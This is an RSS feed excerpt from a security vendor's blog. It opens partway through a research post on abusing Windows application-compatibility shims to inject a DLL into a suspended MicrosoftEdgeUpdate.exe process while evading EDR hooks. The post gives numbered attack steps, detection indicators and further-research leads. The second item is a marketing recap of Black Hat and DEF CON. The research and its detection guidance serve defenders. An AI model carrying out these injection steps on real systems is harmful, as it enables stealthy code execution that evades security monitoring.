<em>apphelp!SE_InstallAfterInit</em> checks a global variable, and if the process is already initialized, the check will fail and the shim data won’t be processed.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt7a9ce8101ebeab70" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7a9ce8101ebeab70/66e1edb9b77e975c2971a0f3/Picture1.png-34.png" width="367" alt="Picture1.png-34.png" height="auto" max-width="367" /> <figcaption style="text-align: center;" style="text-align: center;">The InjectDll fix call stack</figcaption> </div> </figure> <p></p> <p>b. The injected process cannot be a system file. <em>AcGenral!NS_InjectDll::NotifyFn</em> calls <em>AcGenral!ShimLib::IsSystemExeFromSelf </em>before injecting the DLL. The injection is skipped if the file is under <em>C:\Windows\WinSXS</em> or belongs to “Trusted Installer.”&nbsp;&nbsp;</p> <p>c. This shim fix is unavailable for 64-bit processes. To verify that Microsoft isn’t hiding this feature – and it truly is impossible – we can look at the code of the 64-bit version of AcGenral.dll. It doesn’t have a class called <em>NS_InjectDll</em>.&nbsp;</p> <p>With these limitations in mind, we started looking for a suitable executable file.&nbsp;<br />And our previously mentioned “friend,” <em>C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe</em>, is our target as it complies with all three limitations.&nbsp;</p> <h5>Attack #2 Flow&nbsp;&nbsp;&nbsp;</h5> <p>At this point, we have enough knowledge to abuse the App Compatibility mechanism. We can inject a DLL by performing the following steps:&nbsp;</p> <p>a. Write a DLL to disk named <em>RTvideo.dll</em></p> <p>b. Launch a suspended process and set the current directory to be the same as the one containing RTvideo.dll&nbsp;</p> <p>c. Build a SHIM_DATA structure and set the ExeTag to be 0x4ed54&nbsp;</p> <p>d. Write the structure to the memory of the child process&nbsp;&nbsp;</p> <p>e. Point PEB-&gt;pShimData to the structure&nbsp;</p> <p>f. Resume the child process&nbsp;</p> <p>g. apphelp.dll will apply the InjectDll fix, and our DLL will be loaded</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img alt="mp4_demo2-ezgif.com-video-to-gif-converter.gif" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6bf2e6e9ce387fec/66e9dc73f7ba0b97283abee1/mp4_demo2-ezgif.com-video-to-gif-converter.gif" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Showcasing the second attack</figcaption> </div> </figure> <h5>Attack #2 Summary&nbsp;</h5> <p>Malicious shims are a known attack vector detected by many security products. By reverse engineering this infrastructure, we were able to renovate it. We found a novel method to make this attack file-less and registry-less. We applied a malicious shim in a process without registering an SDB file on the system. We effectively bypassed EDR detection by writing to a child process and loading the target dll from the suspended child process before any EDR hook can be established. We chose the “InjectDll” shim, but this attack can be adapted to other malicious shim fixes.&nbsp;</p> <h6>Detection&nbsp;</h6> <ol> <li>First Attack:<ol> <li>RPC to ClickToRunSvc with unusual DLL Paths </li> <li>Requesting OpLock for sysmain.sdb </li> <li>ClickToRunSvc writing to the memory of a process running as “NT AUTHORITY\SYSTEM”.&nbsp;</li> </ol> </li> <li>Second Attack:<ol> <li>Writing DLLs that appear in sysmain.sdb, to an unusual directory</li> </ol> </li> </ol> <h6>Further Research - App Compatibility&nbsp;</h6> <ol> <li>Find target for <em>AhcApilnitProcessData</em> </li> <li>Reverse engineer SHIM_DATA to find more ways to manipulate <em>apphelp.dll</em>&nbsp; </li> <li> <p>Poison the cache to cause another process to apply a malicious shim&nbsp;</p> </li> </ol> <h5>Conclusion&nbsp;</h5> <p>We presented methodologies for attack surface research that led to new stealthy injection and privilege escalation techniques, which can be achieved by abusing two different OS components.&nbsp;&nbsp;</p> <p>By leveraging and manipulating various system components, including services, oplocks, and compatibility mechanisms, we demonstrated how to consolidate these elements into a singular, cohesive attack strategy.&nbsp;&nbsp;</p> <p>The oplock and compatibility mechanisms could be integral parts of other multi-component, sophisticated, and complex attacks. Oplock can be used in many scenarios as a building block, and there are far more shim fixes that can be used with malicious intent, even with 64-bit processes.&nbsp;</p> <p>Our extensive research uncovered new techniques for stealthy injection and privilege escalation, enhancing the effectiveness of these attacks. We demonstrated two attacks that won’t be monitored EDRs. The injections occur in a very early stage where EDRs can’t establish a hook yet.&nbsp;&nbsp;</p> <p>Through reverse engineering an undocumented API and its associated structures, we gained valuable insights that contributed to the development of these methods.&nbsp;&nbsp;</p> <p>Additionally, we modernized a previously known malicious technique, transforming it into a more elusive, fileless, and registry-less attack.&nbsp;&nbsp;</p> <p>We encourage the community to continue building on our research, exploring the leads we have provided to further advance the field.&nbsp;</p> <p>In the meantime, if you’re solely relying on EDR to detect and respond to breaches, learn more about why <a href="https://www.deepinstinct.com/endpoint-detection-response"><u>EDR is not enough</u></a>, and then <a href="https://info.deepinstinct.com/request-a-demo"><u>request a demo</u></a> to find out how Deep Instinct leverages the only deep learning AI platform built for cybersecurity to prevent threats others can’t find.&nbsp;</p> <p><a href="https://github.com/deepinstinct/ShimMe"><u>Github Repository</u></a><span style="color: rgb(0, 0, 0);">&nbsp;</span></p> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ "Hacker Summer Camp" Recap: Black Hat, DEF CON, and the Growing AI Arms Race ]]>
</title>
<link>https://www.deepinstinct.com/blog/-hacker-summer-camp-recap-black-hat-def-con-and-the-growing-ai-arms-race</link>
<dc:creator>
<![CDATA[ Justin Baker ]]>
</dc:creator>
<pubDate>Thu, 15 Aug 2024 13:00:00 +0000</pubDate>
<category>
<![CDATA[ Blog ]]>
</category>
<guid isPermaLink="false">https://www.deepinstinct.com/blog/-hacker-summer-camp-recap-black-hat-def-con-and-the-growing-ai-arms-race</guid>
<enclosure url="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt520e10ac57c85cfa/66beb0143166537c5949f6c7/Blackhat_930x400_3.png" length="655222" type="image/png"/>
<description>
<![CDATA[ Last week, Black Hat and DEF CON took Las Vegas by storm and Deep Instinct was there to join the fun. It was an exhilarating week, packed with networking events, speaking sessions, and a lively crowd. Here are our main takeaways and notable highlights you may have missed. ]]>
</description>
<content:encoded>
<![CDATA[ <h5>As Vendors Continue to Tout “AI” Capabilities, Let’s Talk About <em>Real</em> AI</h5><p>Unsurprisingly, artificial intelligence (AI) continued to dominate onsite conversations, and similar to the RSA Conference earlier this year, both legacy and early-stage cybersecurity vendors felt compelled to tout “AI capabilities” in their marketing and booth collateral. But not all AI is created equal, and it sparked a conversation about the differences and nuances in AI technologies.</p><p>Many cybersecurity vendors promoted generative AI capabilities that are tacked onto existing technologies, a marketing tactic used to remain relevant in today’s AI conversations. But AI is not their core competency, and it never will be – at the end of the day, their AI explains how you were breached, but doesn’t <em>prevent</em> it.</p><p>We challenged booth visitors to ask vendors the hard-hitting questions about AI: Is it built on an archaic framework? Can it be air gapped? Is it the most advanced form of AI (deep learning), or just <a href="https://info.deepinstinct.com/deep-learning-vs-machine-learning-in-cybersecurity?_ga=2.51158817.941771334.1715708232-1517144758.1706129447">basic ML</a>? The answers will tell you everything you need to know about vendors’ AI promises.</p><p>Deep Instinct is different from any other vendor in the market. Our deep learning (DL) cybersecurity framework prevents and explains unknown zero-day threats, so that security teams can both stop a breach before it happens and learn to predict the next attack. We’re a zero-day data security platform using the most advanced form of AI – developed <em>before</em> AI became a hot topic – to protect storage, applications, and endpoints, so your data remains secure regardless of where it resides.</p><h5>Proven Prevention: Deep Instinct Wins CRN Award During Black Hat</h5><p>During Black Hat, <a href="https://www.deepinstinct.com/prevention-for-storage">Deep Instinct’s </a><a href="https://www.deepinstinct.com/prevention-for-storage">Prevention for Storage (DPS)</a> product was recognized by CRN in its <a href="https://www.crn.com/news/channel-news/2024/the-2024-tech-innovator-awards">2024 Tech Innovator Awards</a>. From more than 320 applicants, DPS rose to the top. DPS provides data storage threat prevention across NAS and cloud storage environments, preventing &gt;99% of zero-day exploits, ransomware, and unknown threats in these storage repositories.</p><h5>Highlighting Our Two Speaking Sessions at Black Hat and DEF CON</h5><p>Capping off a memorable week were our two speaking sessions during Black Hat and DEF CON. First, our CIO and CISO, Carl Froggett, joined our VP of Global Sales Engineering, Brian Black, in a Black Hat session titled, “<a href="https://www.blackhat.com/us-24/sponsored-sessions/schedule/index.html#the-future-of-cybersecurity-embracing-prevention-first-strategies-in-the-age-of-edge-ai-42167"><em>The Future of Cybersecurity: Embracing Prevention-First Strategies in the Age of Edge AI</em></a>.” The duo discussed the new era of localized large language models (LLMs) amid the advent of neural processing units (NPUs) and neural engines in devices from Qualcomm and Apple. They also walked attendees through the implications of edge AI and localized LLMs, while highlighting the urgent need for prevention-focused approaches to safeguard against these evolving threats.</p><p>Then during DEF CON, Deep Instinct researchers Ron Ben-Yizhak and David Shandalov presented “<a href="https://defcon.org/html/defcon-32/dc-32-speakers.html"><em>SHIM Me What You Got - Manipulating Shim and Office for Code Injection</em></a>,” introducing a novel and stealthy technique to apply malicious shims on a code injection process that does not require registry modification or SDB files and leaves no traces on the disk.</p><p>“Hacker summer camp” is always an exciting time, but what made this year even more memorable was the meteoric rise in AI visibility, and discussions centered on how to<em><strong> fight AI with better AI</strong></em>. The answer is deep learning. See for yourself what’s possible by <a href="https://info.deepinstinct.com/request-a-demo?_ga=2.123317326.470551219.1723466942-635130100.1705001786&_gac=1.88354281.1722959687.CjwKCAjwk8e1BhALEiwAc8MHiIGA96vDs3I1qyodZhPZHrwQ9pTgxWo5NEpFFArfiOucUXEX-lSRCRoCAdcQAvD_BwE">requesting a Deep Instinct demo today</a>.</p> ]]>
</content:encoded>
</item>
</channel>
</rss>